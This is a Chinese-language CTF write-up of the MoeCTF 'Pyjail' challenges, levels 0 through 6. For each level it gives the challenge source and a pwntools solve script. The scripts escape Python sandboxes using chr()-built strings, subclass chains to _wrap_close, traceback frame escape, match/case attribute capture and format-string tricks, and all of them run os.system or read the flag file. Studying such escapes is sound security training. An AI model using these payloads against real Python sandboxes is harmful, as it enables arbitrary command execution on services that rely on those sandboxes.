Moectf-pyjail沙箱绕过
之前没认真学习过沙箱,最后一题没写出来,复现重做一遍发现真的学到很多新东西
Pyjail 0
flag在环境变量
from pwn import *
code = b"/proc/self/environ"
p = remote("127.0.0.1", 46795)
p.recvuntil(b"Please enter the reverse of '")
target_str = p.recvuntil(b"'", drop=True) # 接收到单引号为止,不包含单引号
p.sendlineafter(b": ", target_str[::-1])
p.sendlineafter(b": ", code)
print(p.recvuntil(b"}").decode())
Pyjail 1
源码为
def chall():
user_input = input("Give me your code: ")
# 过滤关键字
forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
for keyword in forbidden_keywords:
if keyword in user_input:
print(f"Forbidden keyword detected: {keyword}")
return
result = eval(user_input)
字符数组拼接绕过即可,payload:
from pwn import *
code = b"getattr(globals()['__builtins__'], bytes([95, 95, 105, 109, 112, 111, 114, 116, 95, 95]).decode())('os').system('cat /tmp/flag.txt')"
p = remote("127.0.0.1", 30134)
p.recvuntil(b"Please enter the reverse of '")
target_str = p.recvuntil(b"'", drop=True) # 接收到单引号为止,不包含单引号
p.sendlineafter(b": ", target_str[::-1])
p.sendlineafter(b": ", code)
print(p.recvuntil(b"}").decode())
第二种方法更简单暴力,直接用breakpoint()函数。help()函数试了不成功
__import__('os').system('cat /tmp/f*')

Pyjail 2
源码为
def chall():
user_input = input("Give me your code: ")
# 过滤关键字
forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
for keyword in forbidden_keywords:
if keyword in user_input:
print(f"Forbidden keyword detected: {keyword}")
return
# 过滤特殊字符
forbidden_chars = ['.', '_', '[', ']', "'", '"']
for char in forbidden_chars:
if char in user_input:
print(f"Forbidden character detected: {char}")
return
result = eval(user_input)
在上一关过滤基础上又过滤了符号,chr(ASCII码)来绕过
from pwn import *
code = b"getattr(getattr(getattr(getattr(globals(), chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)), chr(95)+chr(95)+chr(100)+chr(105)+chr(99)+chr(116)+chr(95)+chr(95), getattr(globals(), chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95))), chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95))(chr(111)+chr(115)), chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109))(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116))"
p = remote("127.0.0.1", 19685)
p.recvuntil(b"Please enter the reverse of '")
target_str = p.recvuntil(b"'", drop=True) # 接收到单引号为止,不包含单引号
p.sendlineafter(b": ", target_str[::-1])
p.sendlineafter(b": ", code)
print(p.recvuntil(b"}").decode())
这题用breakpoint()照样可以。
Pyjail 3
源码
def chall():
user_input = input("Give me your code: ")
try:
result = eval(user_input, {"__builtins__": None}, {})
# Hint: When __builtins__ is None, you need to be more creative...
print("Code executed successfully!")
if result is not None:
print(f"Return value: {result}")
except Exception as e:
print(f"Execution error: {type(e).__name__}: {e}")
没有过滤,只是把builtins置空了。这题就比上面的还简单点。
可以通过对象继承链来重新获取内置函数
from pwn import *
code = b"[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('cat /tmp/flag.txt')"
p = remote("127.0.0.1", 45052)
p.recvuntil(b"Please enter the reverse of '")
target_str = p.recvuntil(b"'", drop=True) # 接收到单引号为止,不包含单引号
p.sendlineafter(b": ", target_str[::-1])
p.sendlineafter(b": ", code)
print(p.recvuntil(b"}").decode())
Pyjail 4
源码:
import ast
import base64
# 自定义 AST 节点访问器来限制可用的语法结构
class RestrictedNodeVisitor(ast.NodeVisitor):
forbidden_attrs = {
"__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
"__globals__", "__code__", "__closure__", "__func__", "__self__",
"__module__", "__import__", "__builtins__", "__base__", "__init__", "__getattribute__"
}
def visit_Attribute(self, node):
# 禁止危险属性访问
if isinstance(node.attr, str) and node.attr in self.forbidden_attrs:
raise RuntimeError(f"Access to attribute '{node.attr}' is forbidden!")
self.generic_visit(node)
def chall():
user_input = input("Give me your code after base64 encoding it: ")
code = base64.b64decode(user_input).decode('utf-8')
if not user_input:
print("Empty input!")
return
try:
# 使用 AST 解析和验证代码
tree = ast.parse(code)
visitor = RestrictedNodeVisitor()
visitor.visit(tree)
# 创建受限的执行环境
safe_builtins = {
"print": print,
"filter": filter,
"list": list,
"len": len,
"Exception": Exception
}
safe_globals = {"__builtins__": safe_builtins}
# 执行用户代码
exec(code, safe_globals, {})
print("Code executed successfully!")
except SyntaxError as e:
print(f"Syntax Error: {e}")
except RuntimeError as e:
print(f"Runtime Error: {e}")
except Exception as e:
print(f"Execution Error: {type(e).__name__}: {e}")
用AST语法树来限制属性访问,并且清空了builtins进行限制,只能用safe_builtins中限制的内置函数。
提示要进行栈帧逃逸
有Exception,可以进行抛出异常后获取异常的栈帧对象,然后用f_back回溯到调用当前函数的上一级栈帧。chall()的builtins肯定是包含完整内置函数的。
f_back 总是指向调用者的帧(caller’s frame)。在这里,调用者是 chall()(它调用了 exec),因此 e.__traceback__.tb_frame.f_back 就是 chall() 的帧对象
from pwn import *
code=b"""
try:
raise Exception
except Exception as e:
frame = e.__traceback__.tb_frame.f_back
b = frame.f_builtins
print(b['open']('/tmp/flag.txt').read())
"""
p = remote('127.0.0.1',16970)
p.recvuntil("Please enter the reverse of '")
target_str = p.recvuntil(b"'",drop=True)
rev_str = target_str[::-1]
p.sendlineafter(b": ",rev_str)
p.sendlineafter(b": ",base64.b64encode(code))
p.interactive()
Pyjail 5
源码
import ast
import base64
# 自定义 AST 节点访问器来限制可用的语法结构
class RestrictedNodeVisitor(ast.NodeVisitor):
def visit_Attribute(self, node):
# 禁止属性访问
raise RuntimeError(f"Access to any attributes is forbidden!")
def chall():
user_input = input("Give me your code after base64 encoding it: ")
code = base64.b64decode(user_input).decode('utf-8')
if not user_input:
print("Empty input!")
return
try:
# 使用 AST 解析和验证代码
tree = ast.parse(code)
visitor = RestrictedNodeVisitor()
visitor.visit(tree)
# 创建受限的执行环境
# maybe useful
safe_builtins = {
"Exception": Exception,
"object": object,
}
safe_globals = {"__builtins__": safe_builtins}
# 执行用户代码
exec(code, safe_globals, {})
print("Code executed successfully!")
except SyntaxError as e:
print(f"Syntax Error: {e}")
except RuntimeError as e:
print(f"Runtime Error: {e}")
except Exception as e:
print(f"Execution Error: {type(e).__name__}: {e}")
不能进行属性访问了。只给了Exception和object。
可以利用match/case。
python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等。
最简单的示例,匹配字符串:
item = 2
match item:
case 1:
print("One")
case 2:
print("Two")
# Two
还可以匹配类,下面是一个匹配类的示例:
class AClass:
def __init__(self, value):
self.thing = value
item = AClass(32)
match item:
case AClass(thing=x):
print(f"Got {x = }!")
# Got x = 32!
在这个示例中,重点关注case AClass(thing=x),这里的含义并非是将 x 赋值给 thing,我们需要将其理解为一个表达式,表示匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x。
这样一来就可以在不适用 . 号的情况下获取到类的属性值。例如获取 ''.__class__,可以编写如下的 match/case 语句:
match str():
case str(__class__=x):
print(x==''.__class__)
# True,返回true就代表x被赋值为''.__class__
因为所有的类都是 object子类,所以可以使用 object 来替代 str,这样就无需关注匹配到的到底是哪个类。
match "": # 匹配的对象:双引号字符串实例
case object(__class__=x): # 结构模式:匹配任何object,并提取其__class__属性,赋值给x
print(x==''.__class__)
# True
如果都看懂了,那么我们就可以进行这样赋值引用来构造payload
#构造"".__class__.__base__.__subclasses__()
match "":
case object(__class__=clazz):
match clazz:
case object(__base__=bass):
match bass:
case object(__subclasses__=subclazz):
print(subclazz())
懂得这样构造之后便可以做题了。
我们先找能利用的类
from pwn import *
code=b"""
match "":
case object(__class__=clazz):
match clazz:
case object(__base__=bass):
match bass:
case object(__subclasses__=subclazz):
a=subclazz()
raise Exception(a)
"""
p = remote('127.0.0.1',65525)
p.recvuntil("Please enter the reverse of '")
target_str = p.recvuntil(b"'",drop=True)
rev_str = target_str[::-1]
p.sendlineafter(b": ",rev_str)
p.sendlineafter(b": ",base64.b64encode(code))
p.interactive()
运行后可以找到os_wrap_close在索引155的位置,直接利用即可
from pwn import *
code=b"""
match "":
case object(__class__=clazz):
match clazz:
case object(__base__=bass):
match bass:
case object(__subclasses__=subclazz):
a=subclazz()[155]
match a:
case object(__init__=init_method):
match init_method:
case object(__globals__=globals_dict):
raise Exception(globals_dict['system']('cat /tmp/flag.txt'))
"""
p = remote('127.0.0.1',65525)
p.recvuntil("Please enter the reverse of '")
target_str = p.recvuntil(b"'",drop=True)
rev_str = target_str[::-1]
p.sendlineafter(b": ",rev_str)
p.sendlineafter(b": ",base64.b64encode(code))
p.interactive()
Pyjail 6
源码
import ast
import base64
# 自定义 AST 节点访问器来限制可用的语法结构
class RestrictedNodeVisitor(ast.NodeVisitor):
def visit_Attribute(self, node):
# 禁止属性访问
raise RuntimeError(f"Access to any attributes is forbidden!")
def chall():
user_input = input("Give me your code after base64 encoding it: ")
code = base64.b64decode(user_input).decode('utf-8')
if not user_input:
print("Empty input!")
return
try:
# 使用 AST 解析和验证代码
tree = ast.parse(code)
visitor = RestrictedNodeVisitor()
visitor.visit(tree)
# 创建受限的执行环境
# maybe useful
safe_builtins = {
"Exception": Exception,
"str": str
}
safe_globals = {"__builtins__": safe_builtins}
# 执行用户代码
exec(code, safe_globals, {})
print("Code executed successfully!")
except SyntaxError as e:
print(f"Syntax Error: {e}")
except RuntimeError as e:
print(f"Runtime Error: {e}")
except Exception as e:
print(f"Execution Error: {type(e).__name__}: {e}")
这下object也不能用了,不过看了wp原来还有一种访问属性的方法:格式化字符串
理解字符串格式化的属性访问:
try:
"{0.__class__.__base__.__getattribute__.x}".format(114514)
except Exception as e: # 这里会捕获到 AttributeError
a = e.obj
print(a)
# 拿到 114514.__class__.__base__.__getattribute__
当执行这个格式化时:
"{0.__class__.__base__.__getattribute__.x}"尝试访问:114514.__class__→int类int.__base__→object类object.__getattribute__→ 获取属性的方法object.__getattribute__.x→ 尝试访问不存在的属性x,由于访问不到所以会报AttributeError错except Exception as e:→ 捕获到 AttributeErrora = e.obj→ 拿到object.__getattribute__方法对象
from pwn import *
code=b"""
try:
s = "{0.__class__.__base__.__getattribute__.x}"
match s:
case str(format=val):
val(114514)
except Exception as e:
match e:
case Exception(obj=val):
myGetattr = val
for x in myGetattr(myGetattr(myGetattr('', '__class__'), '__base__'), '__subclasses__')():
if myGetattr(x, '__name__') == '_wrap_close':
myGetattr(myGetattr(x, '__init__'), '__globals__')['system']('cat /tmp/flag.txt')
break
"""
p = remote('127.0.0.1',17355)
p.recvuntil("Please enter the reverse of '")
target_str = p.recvuntil(b"'",drop=True)
rev_str = target_str[::-1]
p.sendlineafter(b": ",rev_str)
p.sendlineafter(b": ",base64.b64encode(code))
p.interactive()
参考:
https://github.com/XDSEC/MoeCTF_2025/blob/main/official_writeups/Misc/Writeup.md



